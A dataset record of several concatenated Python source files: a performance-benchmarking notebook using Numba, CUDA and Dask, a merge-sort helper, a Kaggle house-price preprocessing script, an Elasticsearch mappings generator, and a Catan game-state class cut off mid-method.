add_parallel(a, b)\n\n\ndef add(a, b):\n return a+b\n\n\n# %%timeit a, b, = setup(grid_size), setup(grid_size)\n_ = add(a, b)\n\n# %%timeit a, b, = setup(grid_size), setup(grid_size)\n_ = a + b\n\n# #### But useful for large scales\n\nN = 16_000\ngrid_size = (N, N)\n\n# %%timeit a, b, = setup(grid_size), setup(grid_size)\n_ = add_parallel(a, b)\n\n# %%timeit a, b, = setup(grid_size), setup(grid_size)\n_ = a + b\n\n# #### Scaling\n\nimport time\n\nmax_time = 10 # s\ndef get_time_scaling(function_list, setup_func, setup_list, max_time):\n t = 0\n i = 0\n times = {func.__name__: [] for func in function_list}\n while t < max_time and i < len(setup_list):\n for func in function_list:\n # Setup\n t0 = time.time()\n s = setup_func(setup_list[i])\n t1 = time.time()\n t = max(t, t1-t0)\n # Compute\n t0 = time.time()\n _ = func(*s)\n t1 = time.time()\n t = max(t, t1-t0)\n times[func.__name__].append(t1-t0)\n print(t, setup_list[i])\n i += 1\n return times\n\n\ndef add2(a, b):\n return a + b\n\n\ntimes = get_time_scaling(\n function_list=[add_parallel, add2],\n setup_func=lambda x: (setup(x), setup(x)),\n setup_list=[(2**i, 2**i) for i in np.arange(6, 14)],\n max_time=1\n)\n\nimport matplotlib.pyplot as plt\n\n# +\nfig, ax = plt.subplots(1, 1, figsize=(10, 5))\n\nax.plot([scale for scale in range(6, 14)], times['add_parallel'], label='add_parallel')\nax.plot([scale for scale in range(6, 14)], times['add2'], label='add2')\nax.set_xticklabels(list(map(int, 2**ax.get_xticks())))\nfig.legend()\n# -\n\nadd_parallel(a, b).dtype, (a + b).dtype\n\n# ### GPU Versions\n\nfrom numba import cuda, vectorize, float32\nimport numpy as np\nimport time\n\ngrid_size = (4_000, 4_000)\na = setup(grid_size)\nb = setup(grid_size)\nt0 = time.time()\n_ = add_parallel(a, b)\nt1 = time.time()\nprint(t1-t0)\n\n\n@vectorize([\"float32(float32, float32)\", \"float64(float64, float64)\"], target='cuda')\ndef add_gpu(a, b):\n return a+b\n\n\ndef setup(grid_size):\n return np.random.rand(np.prod(grid_size)).reshape(grid_size)\n\n\n# Define Data\ngrid_size = (5_000, 5_000)\ndtype = np.float64\n# Create Data\na = setup(grid_size)\nb = setup(grid_size)\nc = np.zeros(grid_size)\n# Define Time\ntimes = {}\nwith cuda.gpus[0]:\n # Create Arrays\n t0 = time.time()\n x = cuda.device_array(grid_size, dtype=dtype) # you explicitly should type these\n y = cuda.device_array(grid_size, dtype=dtype) # you explicitly should type these\n result = cuda.device_array(grid_size, dtype=dtype) # you explicitly should type these\n times['allocate memory'] = time.time() - t0\n # Copy data to GPU\n t0 = time.time()\n x.copy_to_device(a) # you explicitly should type these\n y.copy_to_device(b) # you explicitly should type these\n times['copy to device'] = time.time() - t0\n # Add on GPU\n t0 = time.time()\n result = add_gpu(x, y)\n times['compute'] = time.time() - t0\n # Copy data back\n t0 = time.time()\n x.copy_to_host(a) # you explicitly should type these\n y.copy_to_host(b) # you explicitly should type these\n result.copy_to_host(c) # you explicitly should type these\n times['copy to host'] = time.time() - t0\n # cleanup\n t0 = time.time()\n del x, y, result # you explicitly should type these\n times['delete'] = time.time() - t0\ntimes\n\n# Define Data\ndtype = np.float64\ngpu_times = {}\nfor grid_size in [(2**i, 2**i) for i in np.arange(6, 15)]:\n # Create Data\n a = setup(grid_size)\n b = setup(grid_size)\n c = np.zeros(grid_size)\n # Define Time\n times_gpu = {}\n with cuda.gpus[0]:\n # Create Arrays\n t0 = time.time()\n x = cuda.device_array(grid_size, dtype=dtype)\n y = cuda.device_array(grid_size, dtype=dtype)\n result = cuda.device_array(grid_size, dtype=dtype)\n times_gpu['allocate memory'] = time.time() - t0\n # Copy data to GPU\n t0 = time.time()\n x.copy_to_device(a)\n y.copy_to_device(b)\n times_gpu['copy to device'] = time.time() - t0\n # Add on GPU\n t0 = time.time()\n result = add_gpu(x, y)\n times_gpu['compute'] = time.time() - t0\n # Copy data back\n t0 = time.time()\n x.copy_to_host(a)\n y.copy_to_host(b)\n result.copy_to_host(c)\n times_gpu['copy to host'] = time.time() - t0\n # cleanup\n t0 = time.time()\n del x, y, result\n times_gpu['delete'] = time.time() - t0\n del a, b, c\n gpu_times[grid_size] = times_gpu.copy()\n\n# +\nimport pandas as pd\n\npd.DataFrame(gpu_times).T\n# -\n\ngpu_compute_times = [j['compute'] for j in gpu_times.values()]\n\nimport matplotlib.pyplot as plt\n\n# +\nfig, ax = plt.subplots(1, 1, figsize=(10, 5))\n\nax.plot([2**scale for scale in range(6, 14)], times['add_parallel'], label='add_parallel')\nax.plot([2**scale for scale in range(6, 14)], times['add2'], label='add2')\nax.plot([2**scale for scale in range(6, 13)], gpu_compute_times, label='add_gpu_compute')\n#ax.set_xticklabels(list(map(int, 2**ax.get_xticks())))\nax.set_xscale('log')\nax.set_xticks([2**scale for scale in range(6, 14)])\nax.set_xticklabels([2**scale for scale in range(6, 14)])\n#ax.set_yscale('log')\nax.legend()\n# -\n\n# GPU version is slower due to copying of memory from RAM to GPU.\n\n# Let's look at CUDA compilation!\n\n# ## CUDA Kernel\n\n# ```bash\n# conda install cudatoolkit\n# ```\n\nprint(cuda.gpus)\n\na = setup(grid_size)\nb = setup(grid_size)\nt0 = time.time()\n_ = np.matmul(a, b)\nt1 = time.time()\nprint(t1-t0)\n\n\n@cuda.jit\ndef matmul(A, B, C):\n \"\"\"Perform square matrix multiplication of C = A * B\"\"\"\n i, j = cuda.grid(2)\n if i < C.shape[0] and j < C.shape[1]:\n tmp = 0.\n for k in range(A.shape[1]):\n tmp += A[i, k] * B[k, j]\n C[i, j] = tmp\n\n\n# Define Data\ngrid_size = (8_000, 8_000)\ndtype = np.float64\n# Create Data\na = setup(grid_size)\nb = setup(grid_size)\nc = np.zeros(grid_size)\n# Define external parameters\nsegment_size = np.prod(grid_size)\n# Define Array\ntimes = {}\n#with cuda.gpus[0]:\nif grid_size[0]:\n t0 = time.time()\n x = cuda.device_array(grid_size, dtype=dtype) #you explicitly should type these\n y = cuda.device_array(grid_size, dtype=dtype) #you explicitly should type these\n result = cuda.device_array(grid_size, dtype=dtype) #you explicitly should type these\n times['allocate memory'] = time.time() - t0\n try:\n t0 = time.time()\n x.copy_to_device(a)\n y.copy_to_device(b)\n times['copy to device'] = time.time() - t0\n t0 = time.time()\n matmul[1, 1](x, y, result)\n times['compute'] = time.time() - t0\n t0 = time.time()\n x.copy_to_host(a)\n y.copy_to_host(b)\n result.copy_to_host(c)\n times['copy to host'] = time.time() - t0\n except Exception as e:\n print(e)\n finally:\n t0 = time.time()\n del x, y, result\n times['delete'] = time.time() - t0\ntimes\n\n# Define Data\ngrid_size = (8_000, 8_000)\ndtype = np.float64\n# Create Data\na = setup(grid_size)\nb = setup(grid_size)\nc = np.zeros(grid_size)\n# Define external parameters\nsegment_size = np.prod(grid_size)\n# Define Array\ntimes = {}\n#with cuda.gpus[0]:\nif grid_size[0]:\n t0 = time.time()\n x = cuda.device_array(grid_size, dtype=dtype) #you explicitly should type these\n y = cuda.device_array(grid_size, dtype=dtype) #you explicitly should type these\n result = cuda.device_array(grid_size, dtype=dtype) #you explicitly should type these\n times['allocate memory'] = time.time() - t0\n try:\n t0 = time.time()\n x.copy_to_device(a)\n y.copy_to_device(b)\n times['copy to device'] = time.time() - t0\n t0 = time.time()\n matmul[1, 1](x, y, result)\n times['compute'] = time.time() - t0\n t0 = time.time()\n x.copy_to_host(a)\n y.copy_to_host(b)\n result.copy_to_host(c)\n times['copy to host'] = time.time() - t0\n except Exception as e:\n print(e)\n finally:\n t0 = time.time()\n del x, y, result\n times['delete'] = time.time() - t0\ntimes\n\n# +\n# Controls threads per block and shared memory usage.\n# The computation will be done on blocks of TPBxTPB elements.\nTPB = 16\n\n@cuda.jit\ndef fast_matmul(A, B, C):\n \"\"\"\n Perform matrix multiplication of C = A * B\n Each thread computes one element of the result matrix C\n \"\"\"\n\n # Define an array in the shared memory\n # The size and type of the arrays must be known at compile time\n sA = cuda.shared.array(shape=(TPB, TPB), dtype=float32)\n sB = cuda.shared.array(shape=(TPB, TPB), dtype=float32)\n\n x, y = cuda.grid(2)\n \n tx = cuda.threadIdx.x\n ty = cuda.threadIdx.y\n \n if x >= C.shape[0] and y >= C.shape[1]:\n # Quit if (x, y) is outside of valid C boundary\n return\n\n # Each thread computes one element in the result matrix.\n # The dot product is chunked into dot products of TPB-long vectors.\n tmp = 0.\n for i in range(int(A.shape[1] / TPB)):\n # Preload data into shared memory\n sA[tx, ty] = A[x, ty + i * TPB]\n sB[tx, ty] = B[tx + i * TPB, y]\n\n # Wait until all threads finish preloading\n cuda.syncthreads()\n\n # Computes partial product on the shared memory\n for j in range(TPB):\n tmp += sA[tx, j] * sB[j, ty]\n\n # Wait until all threads finish computing\n cuda.syncthreads()\n\n C[x, y] = tmp\n# -\n\n# # Dask\n\n# - open source library for distributed computing in Python\n# - natively scale from a single computer to a cluster with little to no code alterations\n# - provides real-time responsive dashboards for progress of computations using Bokeh\n\n\n# Dask data structures:\n# - definee collections analogous to: arrays, bags, dataframes\n# - get operated on in the task-graph\n# - distributed by either the: Single MachineScheduler (SMS) or the Distributed Scheduler (DS)\n\n# Single Machine Scheduler (SMS)\n# - threaded scheduler execution via `multiprocessing.pool.ThreadPool`\n# - lightweight framework with overhead $\\sim 50 \\mu s$ per task\n# - requires no setup\n# - incurs no data transfer delays\n# - all computation occurs within the same process on multiple threads\n# - due to the Python Global Interpreter Lock (GIL), parallelism in the threaded scheduler can only occur through non-Python code executions (e.g. through NumPy, Pandas, Numba, etc.)\n\n# Distributed Scheduler (DS)\n# - If Python objects dominate computations, a process-based scheduler should be used, here the distributed scheduler \n# - Internally, the distributed scheduler determines the execution of the task graph with respect to locality in a more efficient way than traditional multiprocessing\n\n# ## Local Parallel Clusters\n\n# ### Multi-Processing\n\nfrom multiprocessing import Pool\n\nchunks = [d1[i:i*len(d1)//5].copy() for i in range(5)]\n\n# %%time\nwith Pool(5) as p:\n _ = p.map(expensive_vec, chunks)\n\n# ### Dask Distributed\n\nfrom dask.distributed import Client\n\nn_processes = 2\nclient = Client(processes=n_processes,\n threads_per_worker=2,\n n_workers=n_processes,\n memory_limit='{}GB'.format(int(n_processes*2)))\n\n# %%time\nfutures = client.map(expensive_vec, chunks)\nbootstrap_results = np.array([fut.result() for fut in futures])\n\n# %%time\nbig_futures = client.scatter(chunks)\nfutures = client.submit(expensive_vec, big_futures)\n# %time bootstrap_results = np.array([fut.result() for fut in big_futures])\n\nclient.cancel(futures)\nclient.close()\n\n\n#with parallel_backend('dask'):\ndef proc(i):\n # Your normal scikit-learn code here\n from astroML.correlation import two_point_angular\n if i > 0:\n sample = np.sort(np.random.randint(0, len(x_dat), len(x_dat)))\n else:\n sample = range(len(x_dat))\n x_sample = x_dat[sample]\n y_sample = y_dat[sample]\n bins = 10 ** np.linspace(np.log10(1/50000.), np.log10(0.5), 300)\n bin_centers = 0.5 * (bins[1:] + bins[:-1])\n res = two_point_angular(x_sample, y_sample, bins=bins, method='landy-szalay')\n return res\n\n\nfutures = client.map(proc, range(n_bootstraps))\n\nbootstrap_results = np.array([fut.result() for fut in futures])\n\nclient.cancel(futures)\nclient.close()\n\n# ## Combining with Numba\n\n\n","sub_path":"05_performance/05_performance.py","file_name":"05_performance.py","file_ext":"py","file_size_in_byte":30169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"199620119","text":"import math\nfrom itertools import compress\n'''this class will allow the dev the ability to sort data with merge sort when the data \nhas more then one piece of data paired to it'''\n\n# if you didnt want to use Islander_sort you could just use the sort() method\nclass Islander_sort:\n\tdef __init__(self, number_list, string_list = None):\n\t\tif string_list is None:\n\t\t\tself.data = number_list\n\t\t\tself.both = False\n\t\telse:\n\t\t\tself.data = list(zip(number_list,string_list))\n\t\t\tself.both = True\n\n\t\tself.string = []\n\t\tself.number = []\n\n\tdef merging(self, left,right):\n\t\t\"\"\"this is will combine the two list\"\"\"\n\t\tnew_list = []\n\t\twhile (min(len(left),len(right))):\n\t\t\tif (left[0]>right[0]):\n\t\t\t\tto_insert = right.pop(0)\n\t\t\t\tnew_list.append(to_insert)\n\t\t\telif(left[0]<=right[0]):\n\t\t\t\tto_insert = left.pop(0)\n\t\t\t\tnew_list.append(to_insert)\n\t\tif (len(left)>0):\n\t\t\tfor i in left:\n\t\t\t\tnew_list.append(i)\n\t\tif (len(right)>0):\n\t\t\tfor i in right:\n\t\t\t\tnew_list.append(i)\n\t\treturn(new_list)\n\n\tdef MergeSort(self,data):\n\t\t\"\"\"this is where the recursive decsions will happen\"\"\"\n\t\tnew_list = [] \n\t\tif (len(data)==1):\n\t\t\tnew_list = data\n\t\telse:\n\t\t\tleft = self.MergeSort(data[:math.floor(len(data)/2)])\n\t\t\tright = self.MergeSort(data[math.floor(len(data)/2):])\n\t\t\tnew_list = self.merging(left, right)\n\n\t\treturn (new_list)\n\n\tdef split(self):\n\t\tif (self.both):\n\t\t\tfor i in range(len(self.data)):\n\t\t\t\tself.string.append(self.data[i][1])\n\t\t\t\tself.number.append(self.data[i][0])\n\n\t\telse:\n\t\t\tfor i in self.data:\n\t\t\t\tself.number.append(i)\n\n\tdef drive(self):\n\t\tself.data = self.MergeSort(self.data)\n\t\tself.split()\n","sub_path":"islander_sort.py","file_name":"islander_sort.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"345770732","text":"import pandas as pd\nfrom sklearn.preprocessing import LabelEncoder, scale\nimport numpy as np\nfrom sklearn import decomposition\n\n\n# load data set from file located in same directory\ndf = pd.read_csv('kagle_house_price_train.csv', header=0)\n# load test data set from file located in same directory\ndf_test = pd.read_csv('test.csv', header=0)\n\n\ndef preparedata(in_df):\n \"\"\"This function prepare dataframe for train and test dataset\"\"\"\n\n # set regex pattern which will look for strings\n pattern = r'[a-z]'\n\n # init data frame\n in_df = in_df\n\n # garage was usually built in same time as house\n #in_df['GarageYrBlt'].fillna(in_df['YearBuilt'], inplace=True)\n\n # fill NA of LotFrontage with average percentage of LotArea 0.79%\n in_df['LotFrontage'].fillna(0.0079*in_df['LotArea'], inplace=True)\n\n # it is not good to map 0 to string columns, LabelEncoder doesn't work afterwards,\n # check if column contains string and insert value type based on that\n for _ in in_df.columns.values:\n try:\n if len(in_df[in_df[_].str.contains(pattern, na=False)][_]) > 0:\n in_df[_].fillna(' ', inplace=True)\n else:\n # question if it is better to replace values by 0 or mean (in_df[_].mean())\n in_df[_].fillna(0, inplace=True)\n except:\n in_df[_].fillna(0, inplace=True)\n\n # check which type of basement is in the house and if it is good it can add value to house\n in_df['BsmtQualID'] = in_df['BsmtQual'].map({' ': 0, 'Po': 1, 'Fa': 2, 'TA': 3, 'Gd': 4, 'Ex': 5}).astype(int)\n in_df['BsmtFinType1ID'] = in_df['BsmtFinType1'].map(\n {' ': 0, 'Unf': 1, 'LwQ': 2, 'Rec': 3, 'BLQ': 4, 'ALQ': 5, 'GLQ': 6}).astype(int)\n in_df['BsmtFinType2ID'] = in_df['BsmtFinType2'].map(\n {' ': 0, 'Unf': 1, 'LwQ': 2, 'Rec': 3, 'BLQ': 4, 'ALQ': 5, 'GLQ': 6}).astype(int)\n # add good square feet's to our model\n in_df['GoodQBsmFt1'] = in_df[in_df['BsmtFinType1ID'] >= 3]['BsmtFinSF1']\n in_df['GoodQBsmFt2'] = in_df[in_df['BsmtFinType2ID'] >= 3]['BsmtFinSF2']\n # feature contains number of SF if basemet quality is above avg\n in_df['GoodQBsmFt'] = in_df['GoodQBsmFt2'].fillna(0) + in_df['GoodQBsmFt1'].fillna(0)\n\n # increase significance of good kitchen\n in_df.loc[in_df.KitchenQual == 'Gd', 'KitchenAbvGr'] = 4\n\n #fireplaces relevance increase\n in_df['FireplaceQuID'] = in_df['FireplaceQu'].map({' ': 0, 'Po': 1, 'Fa': 2, 'TA': 3, 'Gd': 4, 'Ex': 5}).astype(int)\n in_df['Fireplaces'] = in_df[in_df['FireplaceQuID'] > 3]['Fireplaces']**2\n in_df['Fireplaces'].fillna(0, inplace=True)\n\n # space for one car\n in_df['Garage_per_car'] = np.log1p(in_df['GarageArea']*in_df['GarageCars'])\n in_df['Garage_per_car'].fillna(0, inplace=True)\n\n # overall garage quality\n in_df['GarageQualID'] = in_df['GarageQual'].map({' ': 0, 'Po': 1, 'Fa': 2, 'TA': 3, 'Gd': 4, 'Ex': 5}).astype(int)\n in_df['GarageCondID'] = in_df['GarageCond'].map({' ': 0, 'Po': 1, 'Fa': 2, 'TA': 3, 'Gd': 4, 'Ex': 5}).astype(int)\n in_df['Garage_overall_qual'] = in_df['GarageQualID'] * in_df['GarageCondID']\n\n # RFn or Fin garage SF\n in_df['GarageFinish_ID'] = in_df['GarageFinish'].map({' ': 0, 'Unf': 1, 'RFn': 2, 'Fin': 3}).astype(int)\n in_df['GoodGarage_SF'] = in_df[in_df['GarageFinish_ID'] >= 2]['GarageArea']\n in_df['GoodGarage_SF'].fillna(0, inplace=True)\n\n # if we can fit more then 2 cars in garage it is good for price, so far it didn't prove to be good feature\n #in_df['GarageCars3Plus'] = in_df[in_df['GarageCars'] > 2]['GarageCars']\n #in_df['GarageCars3Plus'].fillna(0, inplace=True)\n\n # normalized OverallQual feature\n in_df['OverallQual_log1p'] = in_df['OverallQual']\n\n in_df['1sfFlr_Bsm'] = np.log1p(in_df['1stFlrSF'] + in_df['TotalBsmtSF'])\n\n in_df['1stFlr_2ndFlr_Sf'] = np.log1p(in_df['1stFlrSF'] + in_df['2ndFlrSF'])\n\n # total SF of living space\n in_df['All_Liv_SF'] = np.log1p(in_df['1stFlr_2ndFlr_Sf'] + in_df['LowQualFinSF'] + in_df['GrLivArea'])\n\n # size of lot plus living area, maybe double counting living SF but might be helpfull\n in_df['Lot_Liv_SF'] = np.log1p(in_df['All_Liv_SF'] + in_df['LotArea'])\n\n # increase significance of abv grade living area\n in_df['Tot_Abv_Grd_SF'] = np.log1p(in_df['TotRmsAbvGrd'] * in_df['GrLivArea'])\n\n in_df['MiscVal'] = np.log1p(in_df['MiscVal'])\n in_df['PoolArea'] = np.log1p(in_df['PoolArea'])\n in_df['LotArea'] = np.log1p(in_df['LotArea'])\n\n # drop columns with almost no correlation to sales price and unused for model training\n in_df.drop(\n ['BsmtFinSF1', 'BsmtFinSF2', 'GoodQBsmFt1', 'GoodQBsmFt2', 'BsmtFinType1', 'BsmtFinType2', 'BsmtQual',\n 'MSSubClass', 'MoSold', 'Alley', 'Utilities', 'GarageArea', 'GarageCars'\n ], axis=1, inplace=True) #'MSSubClass', 'EnclosedPorch', 'KitchenAbvGr', 'OverallCond'\n\n # get values from pandas dataframe into numpy array for LabelEncoder function\n dataset = in_df.values\n\n # get length of dataset\n train_len = len(dataset[1, :])\n\n # transform string data into numeric values usable by scikit learn\n encoder = LabelEncoder()\n for _ in range(0, train_len):\n if type(dataset[1, _]) == str:\n try:\n encoder = encoder.fit(dataset[:, _])\n dataset[:, _] = encoder.transform(dataset[:, _])\n except:\n print(_)\n\n #numberoffeatures = len(dataset[1,:])\n\n #pca = decomposition.PCA(n_components= round(numberoffeatures,0))\n #pca.fit(dataset)\n #dataset = pca.transform(dataset)\n\n # transform numpy array back to pandas datafram with correct column names\n df3 = pd.DataFrame(data=dataset, columns=in_df.columns.values)\n\n print(len(dataset[1, :]))\n\n return df3\n\n#get numer of dataframe items\ndf_size = len(df['Id'])\n\n# init data frame\ndf2 = df.copy()\ndf2.drop(['Id', 'SalePrice'], axis=1, inplace=True)\n\n# set same dataframe format for test data\ndf2_test = df_test.copy()\ndf2_test.drop('Id', axis=1, inplace=True)\n\ndf_to_modify = df2.append(df2_test, ignore_index = True)\n\ndf_complete = preparedata(df_to_modify)\n\ndf3 = df_complete.iloc[:df_size, :]\n\n# append again sales price as last column\ndf3['SalePrice'] = df['SalePrice']\n\n# write prepared train data into csv file\ndf3.to_csv('in_data.csv', index=False)\n\ndf2_test = df_complete.iloc[df_size:, :]\n\n# write prepared test data into csv file\ndf2_test.to_csv('test_data.csv', index=False)\n","sub_path":"Kagle house prices/prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":6473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"150386356","text":"from collections import OrderedDict\nimport json\n\nfrom thryft.compiler.parser import Parser\nfrom thryft.generator.generator import Generator\nfrom thryft.generators.elastic_search.elastic_search_document_type_annotation_parser import ElasticSearchDocumentTypeAnnotationParser\nfrom thryft.generators.elastic_search.elastic_search_mapping_annotation_parser import ElasticSearchMappingAnnotationParser\nfrom thryft.generators.elastic_search.elastic_search_mappings_base_annotation_parser import ElasticSearchMappingsBaseAnnotationParser\nfrom yutil import decamelize\n\n\nclass ElasticSearchMappingsGenerator(Generator):\n class BoolType(Generator.BoolType): # @UndefinedVariable\n def elastic_search_mapping_dict(self):\n return {'type': 'boolean'}\n\n class Document(Generator.Document): # @UndefinedVariable\n def elastic_search_mappings_json(self):\n if len(self.definitions) != 1:\n return ''\n elif not isinstance(self.definitions[0], Generator.StructType): # @UndefinedVariable\n return ''\n\n out = OrderedDict()\n if self._parent_generator()._template is not None:\n out['template'] = self._parent_generator()._template\n if self._parent_generator()._settings is not None:\n out['settings'] = self._parent_generator()._settings\n out['mappings'] = self.definitions[0].elastic_search_mappings_dict()\n return json.dumps(out, indent=2).replace(\"\\r\\n\", \"\\n\")\n\n def _save_to_file(self, out_file_path):\n return self._save_to_file_helper(self.elastic_search_mappings_json(), out_file_path)\n\n class EnumType(Generator.EnumType): # @UndefinedVariable\n def elastic_search_mapping_dict(self):\n return {'index': 'not_analyzed', 'type': 'string'}\n\n class Field(Generator.Field): # @UndefinedVariable\n def elastic_search_name(self):\n name = self.name\n if self.id is not None:\n name = \"%d:%s\" % (self.id, name)\n return name\n\n def elastic_search_mapping_dict(self):\n out = {}\n out.update(self.type.elastic_search_mapping_dict())\n for annotation in self.annotations:\n if annotation.name == 'elastic_search_mapping':\n out.update(annotation.value)\n if out.get('index') in ('not_analyzed', 'no'):\n out.pop('analyzer', None)\n return out\n\n class DoubleType(Generator.DoubleType): # @UndefinedVariable\n def elastic_search_mapping_dict(self):\n return {'type': 'double'}\n\n class I32Type(Generator.I32Type): # @UndefinedVariable\n def elastic_search_mapping_dict(self):\n return {'type': 'integer'}\n\n class I64Type(Generator.I64Type): # @UndefinedVariable\n def elastic_search_mapping_dict(self):\n return {'type': 'long'}\n\n class ListType(Generator.ListType): # @UndefinedVariable\n def elastic_search_mapping_dict(self):\n return self.element_type.elastic_search_mapping_dict()\n\n class MapType(Generator.MapType): # @UndefinedVariable\n def elastic_search_mapping_dict(self):\n return {'type': 'nested', 'dynamic': True}\n\n class StringType(Generator.StringType): # @UndefinedVariable\n def elastic_search_mapping_dict(self):\n return {'type': 'string'}\n\n class SetType(Generator.SetType): # @UndefinedVariable\n def elastic_search_mapping_dict(self):\n return self.element_type.elastic_search_mapping_dict()\n\n class StructType(Generator.StructType): # @UndefinedVariable\n def elastic_search_mapping_dict(self):\n field_mappings = OrderedDict()\n for field in self.fields:\n field_mappings[field.elastic_search_name()] = field.elastic_search_mapping_dict()\n return {'type': 'nested', 'properties': field_mappings}\n\n def elastic_search_mappings_dict(self):\n document_type = None\n for annotation in self.annotations:\n if annotation.name == 'elastic_search_document_type':\n document_type = annotation.value\n break\n if document_type is None:\n document_type = decamelize(self.name)\n\n properties = OrderedDict()\n for field in self.fields:\n properties[field.elastic_search_name()] = field.elastic_search_mapping_dict()\n\n mappings = {}\n mappings[document_type] = \\\n {\n '_all': {'enabled': False},\n 'dynamic': 'strict',\n }\n for annotation in self.annotations:\n if annotation.name == 'elastic_search_mappings_base':\n mappings[document_type].update(annotation.value)\n if 'properties' in mappings[document_type]:\n updated_properties = OrderedDict()\n updated_properties.update(mappings[document_type]['properties'])\n updated_properties.update(properties)\n properties = updated_properties\n mappings[document_type]['properties'] = properties\n\n return mappings\n\n def __init__(self, settings=None, template=None):\n Generator.__init__(self)\n if settings is not None and not isinstance(settings, dict):\n raise TypeError('settings must be a dict')\n self._settings = settings\n if template is not None and not isinstance(template, str):\n raise TypeError('template must be a str')\n self._template = template\n\n\nParser.register_annotation_parser(ElasticSearchDocumentTypeAnnotationParser())\nParser.register_annotation_parser(ElasticSearchMappingAnnotationParser())\nParser.register_annotation_parser(ElasticSearchMappingsBaseAnnotationParser())\n","sub_path":"compiler/src/thryft/generators/elastic_search/elastic_search_mappings_generator.py","file_name":"elastic_search_mappings_generator.py","file_ext":"py","file_size_in_byte":5888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"186575421","text":"import random\nfrom typing import List\n\nfrom catan_core.action import Action\nfrom catan_core.board import Board\nfrom catan_core.building.city import City\nfrom catan_core.building.settlement import Settlement\nfrom catan_core.development_card.deck import DevelopmentCardDeck\nfrom catan_core.edge import Edge\nfrom catan_core.player.player import Player\nfrom catan_core.player_hand import PlayerHand\nfrom catan_core.resource_type.clay import Clay\nfrom catan_core.resource_type.deck import ResourceCardDeck\nfrom catan_core.resource_type.rock import Rock\nfrom catan_core.resource_type.sheep import Sheep\nfrom catan_core.resource_type.wheat import Wheat\nfrom catan_core.resource_type.wood import Wood\nfrom catan_core.road import Road\nfrom catan_core.vertex import Vertex\n\n\nclass State:\n \"\"\"\n Class which stores the state of catan game.\n \"\"\"\n\n def __init__(self, players=[]):\n # There should be 19 of each resource type.\n self.resource_card_deck = ResourceCardDeck()\n\n # Shuffle the development card deck.\n self.development_card_deck = DevelopmentCardDeck()\n\n # Create the board.\n self.board = Board()\n\n self.players = players.copy()\n random.shuffle(self.players)\n\n self.current_player_turn = self.players[0]\n\n self.dice_rolled = False\n\n self.player_pieces = {}\n self.bonus_victory_points = {}\n self.player_hand = {}\n self.player_development_cards = {}\n for player in self.players:\n # Each player gets 15 roads, 5 settlements, and 4 cities.\n self.player_pieces[player] = {\"roads\": 15, \"settlements\": 5, \"cities\": 4}\n\n # Bonus victory points\n self.bonus_victory_points[player] = {\n \"victory_point_development_cards\": 0,\n \"longest_road\": False,\n \"largest_army\": False,\n }\n\n self.player_hand[player] = PlayerHand(player=player)\n\n self.player_development_cards[player] = []\n\n def is_game_over(self):\n for player in self.players:\n if self.player_has_won(player=player):\n return player\n\n return None\n\n def player_has_won(self, player: Player):\n points = 0\n\n # Check for any bonus points gained by the player.\n bonus_victory_points = self.bonus_victory_points[player]\n\n points += bonus_victory_points[\"victory_point_development_cards\"]\n\n if bonus_victory_points[\"longest_road\"]:\n points += 2\n\n if bonus_victory_points[\"largest_army\"]:\n points += 2\n\n # Get the points for the player from pieces on the board.\n points += self.board.victory_points_for_player(player)\n\n # If the player has reached 10 points, they have won.\n return points >= 10\n\n def can_build_road(self, player: Player) -> List[Action]:\n if not self.player_hand[player].can_buy_road():\n return []\n\n return [\n Action(name=\"build_road\", kwargs={\"edge\": edge})\n for edge in self.board.edges\n if edge.can_place_road(player=player)\n ]\n\n def can_build_settlement(self, player: Player) -> List[Action]:\n if not self.player_hand[player].can_buy_settlement():\n return []\n\n return [\n Action(name=\"build_settlement\", kwargs={\"vertex\": vertex})\n for vertex in self.board.vertices\n if vertex.can_place_building(player=player)\n ]\n\n def can_build_first_settlement(self, player: Player) -> List[Action]:\n return [\n Action(name=\"build_first_settlement\", kwargs={\"vertex\": vertex})\n for vertex in self.board.vertices\n if vertex.can_place_starting_building(player=player)\n ]\n\n def can_build_starting_road(self, player: Player) -> List[Action]:\n return [\n Action(name=\"build_starting_road\", kwargs={\"edge\": edge})\n for edge in self.board.edges\n if edge.can_place_road(player=player)\n ]\n\n def can_build_second_settlement(self, player: Player) -> List[Action]:\n return [\n Action(name=\"build_second_settlement\", kwargs={\"vertex\": vertex})\n for vertex in self.board.vertices\n if vertex.can_place_starting_building(player=player)\n ]\n\n def can_buy_development_card(self, player: Player) -> bool:\n return (\n self.player_hand[player].can_buy_development_card()\n and not self.development_card_deck.is_empty()\n )\n\n def player_actions(self, player: Player) -> list:\n actions = []\n\n # Beginning of turn, force player to roll the dice\n if not self.dice_rolled:\n actions.append(Action(name=\"roll_dice\"))\n return actions\n\n actions.append(Action(name=\"end_turn\"))\n\n return actions\n\n def build_first_settlement(self, player: Player, vertex: Vertex):\n new_settlement = Settlement(player=player)\n vertex.assign_building(new_settlement)\n\n def build_second_settlement(self, player: Player, vertex: Vertex):\n new_settlement = Settlement(player=player)\n vertex.assign_building(new_settlement)\n\n for hex in self.board.hexes:\n if vertex in hex.vertices and hex.resource_type:\n self.player_hand[player].add(resource_type=hex.resource_type, count=1)\n\n def build_settlement(self, player: Player, vertex: Vertex):\n player_hand = self.player_hand[player]\n player_hand.remove(resource_type=Wood, count=1)\n player_hand.remove(resource_type=Sheep, count=1)\n player_hand.remove(resource_type=Clay, count=1)\n player_hand.remove(resource_type=Wheat, count=1)\n new_settlement = Settlement(player=player)\n vertex.assign_building(new_settlement)\n\n def build_starting_road(self, player: Player, edge: Edge):\n new_road = Road(player=player)\n edge.assign_road(road=new_road)\n\n def build_road(self, player: Player, edge: Edge):\n player_hand = self.player_hand[player]\n player_hand.remove(resource_type=Wood, count=1)\n player_hand.remove(resource_type=Clay, count=1)\n new_road = Road(player=player)\n edge.assign_road(road=new_road)\n\n def build_city(self, player: Player, vertex: Vertex):\n player_hand = self.player_hand[player]\n player_hand.remove(resource_type=Rock, count=3)\n player_hand.remove(resource_type=Wheat, count=2)\n new_city = City(player=player)\n vertex.assign_building(building=new_city)\n\n def buy_development_card(self, player: Player):\n player_hand = self.player_hand[player]\n 